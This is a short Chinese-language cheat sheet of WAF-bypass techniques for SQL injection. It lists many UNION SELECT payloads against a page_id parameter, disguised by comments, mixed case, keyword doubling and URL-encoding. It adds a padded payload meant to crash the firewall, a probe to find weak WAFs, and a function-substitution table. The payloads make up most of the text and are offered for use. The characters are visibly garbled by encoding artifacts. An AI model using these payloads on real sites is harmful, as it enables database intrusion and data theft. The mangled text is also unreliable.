WAF繞過方法從簡單到高級
什么是WAF?
Web應用防火墻是通過執(zhí)行一系列針對HTTP/HTTPS的安全策略來專門為Web應用提供保護的一款產(chǎn)品。
基本/簡單繞過方法:
1、注釋符
http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
2、使用大小寫
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
3、結(jié)合前面兩種方法
http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….
4、關(guān)鍵字替換
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法適用于一些會把union select替換掉的WAF,經(jīng)過WAF過濾后就會變成 union select 1,2,3,4....
5、內(nèi)部注釋
http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
U替換為%55,S替換為%53 在 union 和 select 之間添加注釋/**/
高級繞過方法:
1、緩沖區(qū)溢出/使防火墻崩潰
大部分防火墻都是基于C/C++開發(fā)的,我們可以使用緩沖區(qū)溢出使用WAF崩潰
http://www.2cto.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
你可以使用如下方法測試WAF
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
如果返回500錯誤,你就可以使用緩沖區(qū)溢出的方法來繞過WAF
2、對字母進行編碼
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
3、使用其他變量或者命令對注入語句進行替換
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
4、利用WAF本身的功能繞過
假如你發(fā)現(xiàn)WAF會把"*"替換為空,那么你就可以利用這一特性來進行繞過
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)